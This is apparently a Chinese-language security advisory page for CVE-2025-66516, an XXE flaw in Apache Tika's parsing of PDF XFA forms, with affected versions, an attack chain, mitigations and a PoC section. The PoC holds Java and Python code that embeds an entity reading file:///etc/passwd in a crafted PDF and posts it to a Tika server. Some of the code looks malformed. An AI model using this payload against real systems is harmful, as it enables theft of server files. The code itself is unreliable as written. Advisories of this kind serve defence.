IPBUF安全漏洞报告
English
CVE-2025-66516 CVSS 8.4 高危

CVE-2025-66516 Apache Tika XXE漏洞安全事件

披露日期: 2025-12-04

漏洞信息

漏洞编号
CVE-2025-66516
漏洞类型
XXE注入
CVSS评分
8.4 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Apache Tika (tika-core, tika-pdf-module, tika-parsers)

相关标签

CVE-2025-66516Apache TikaXXE注入XML外部实体PDF解析漏洞文件读取高危漏洞CVE-2025-54988扩展XFA表单攻击内容检测库

漏洞概述

Apache Tika是一个流行的开源内容检测和解析库,广泛用于从各种文档格式中提取元数据和文本内容。该漏洞影响Apache Tika的多个核心模块,包括tika-core(1.13至3.2.1版本)、tika-pdf-module(2.0.0至3.2.1版本)以及tika-parsers(1.13至1.28.5版本)。攻击者可以通过在PDF文件中嵌入恶意的XFA(XML Forms Architecture)表单来触发XML外部实体(XXE)注入攻击。由于Apache Tika在处理PDF文档时会解析其中的XML内容,攻击者可以利用这一特性读取服务器上的任意文件或执行拒绝服务攻击。此漏洞是CVE-2025-54988的扩展版本,不仅修复了原有的入口点问题,还扩大了受影响模块的范围。值得注意的是,即使用户之前仅升级了tika-parser-pdf-module而未升级tika-core到3.2.2或更高版本,仍然存在被攻击的风险。

技术细节

Apache Tika在解析PDF文件时,会处理其中的XFA(XML Forms Architecture)表单数据。XFA是一种基于XML的表单技术,允许在PDF中嵌入复杂的交互式表单。问题出在Tika的XML解析器在处理这些XFA数据时,没有正确禁用外部实体引用功能。攻击者可以在XFA XML数据中定义恶意的外部实体,例如:<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>。当Tika解析这个特制的PDF文件时,会尝试加载外部实体,导致敏感文件被读取或触发SSRF攻击。由于CVSS评分为8.4且攻击向量为本地(AV:L),这意味着攻击需要本地访问或通过其他方式(如钓鱼邮件)诱骗用户打开恶意PDF文件。攻击成功后,攻击者可以读取服务器上的配置文件、密钥文件、密码文件等敏感信息,甚至可能通过file://协议或其他支持的网络协议进行进一步攻击。

攻击链分析

STEP 1
1
攻击者创建包含恶意XFA表单的PDF文件,在XFA XML数据中嵌入XXE payload,定义外部实体引用指向目标文件路径如file:///etc/passwd
STEP 2
2
攻击者通过钓鱼邮件、文件共享服务或其他方式将恶意PDF文件传递给目标用户或上传到存在Tika解析服务的系统
STEP 3
3
目标系统使用Apache Tika解析该PDF文件,Tika的PDF解析模块会提取并解析其中的XFA XML数据
STEP 4
4
Tika的XML解析器在处理XFA数据时触发XXE漏洞,尝试加载外部实体定义
STEP 5
5
攻击者成功读取目标服务器上的敏感文件内容(如/etc/passwd、配置文件、密钥文件等),或通过file://协议进行进一步攻击
STEP 6
6
攻击者可能利用读取的敏感信息进行横向移动、权限提升或持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; /** * CVE-2025-66516 PoC - XXE in Apache Tika PDF XFA Parsing * This PoC demonstrates how to create a malicious PDF with XFA XXE payload */ public class TikaXXEPoC { // XXE payload to read /etc/passwd private static final String XXE_PAYLOAD = "<!DOCTYPE pdf [" + " <!ENTITY xxe SYSTEM \"file:///etc/passwd\">" + "]>" + "<xfa:data xmlns:xfa=\"http://www.xfa.org/schema/xfa-data/1.0\">" + " <document>&xxe;</document>" + "</xfa:data>"; public static byte[] createMaliciousPDF() { // Create minimal PDF structure with XFA stream containing XXE payload StringBuilder pdf = new StringBuilder(); pdf.append("%PDF-1.4\n"); pdf.append("1 0 obj<</Type/Catalog/Names<</XFA %XXE_REF%>>>>\nendobj\n"); pdf.append("%%EOF"); return pdf.toString().replace("%XXE_REF%", XXE_PAYLOAD).getBytes(); } public static void main(String[] args) throws IOException { byte[] maliciousPdf = createMaliciousPDF(); try (FileOutputStream fos = new FileOutputStream("malicious.pdf")) { fos.write(maliciousPdf); } System.out.println("Malicious PDF created: malicious.pdf"); System.out.println("XXE Payload embedded: file:///etc/passwd"); } } # Alternative Python PoC using Tika server API ''' import requests CVE-2025-66516 PoC - Apache Tika XXE via crafted PDF ''' def create_xxe_pdf(): """Create a minimal PDF with XXE payload in XFA""" xxe_payload = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <xfa:data xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0"> <test>&xxe;</test> </xfa:data>''' # Minimal malicious PDF structure pdf_content = f"""%PDF-1.4 1 0 obj<</Type/Catalog/Pages 2 0 R/XFA<</Length {len(xxe_payload)}>>>> endobj 2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>> endobj 3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>> endobj stream {xxe_payload} endstream xref 0 4 0000000000 65535 f 0000000009 00000 n 0000000058 00000 n 0000000115 00000 n trailer<</Size 4/Root 1 0 R>> startxref {200 + len(xxe_payload)} %%EOF""" with open('cve_2025_66516.pdf', 'w') as f: f.write(pdf_content) return 'cve_2025_66516.pdf' def exploit_tika(url, pdf_file): """Send malicious PDF to Tika server""" with open(pdf_file, 'rb') as f: files = {'file': f} headers = {'Accept': 'text/plain'} response = requests.post(f'{url}/tika', files=files, headers=headers) print(f"Response status: {response.status_code}") print(f"Response content: {response.text[:500]}") if __name__ == '__main__': pdf_file = create_xxe_pdf() print(f"Created: {pdf_file}") # Usage: exploit_tika('http://localhost:9998', pdf_file)

影响范围

Apache Tika tika-core < 3.2.2 (1.13 - 3.2.1)
Apache Tika tika-pdf-module < 3.2.2 (2.0.0 - 3.2.1)
Apache Tika tika-parsers < 1.28.6 (1.13 - 1.28.5)

防御指南

临时缓解措施
如果无法立即升级,可以采取以下临时缓解措施:1) 在应用层实现文件上传前的安全检测,过滤包含XFA表单的PDF文件;2) 配置XML解析器的安全特性,禁用外部实体加载(setFeature("http://apache.org/xml/features/disallow-doctype-decl", true));3) 对Tika服务实施网络隔离,限制访问权限;4) 使用Web应用防火墙(WAF)规则拦截可疑的PDF上传请求;5) 监控和记录Tika服务的文件解析日志,及时发现异常访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表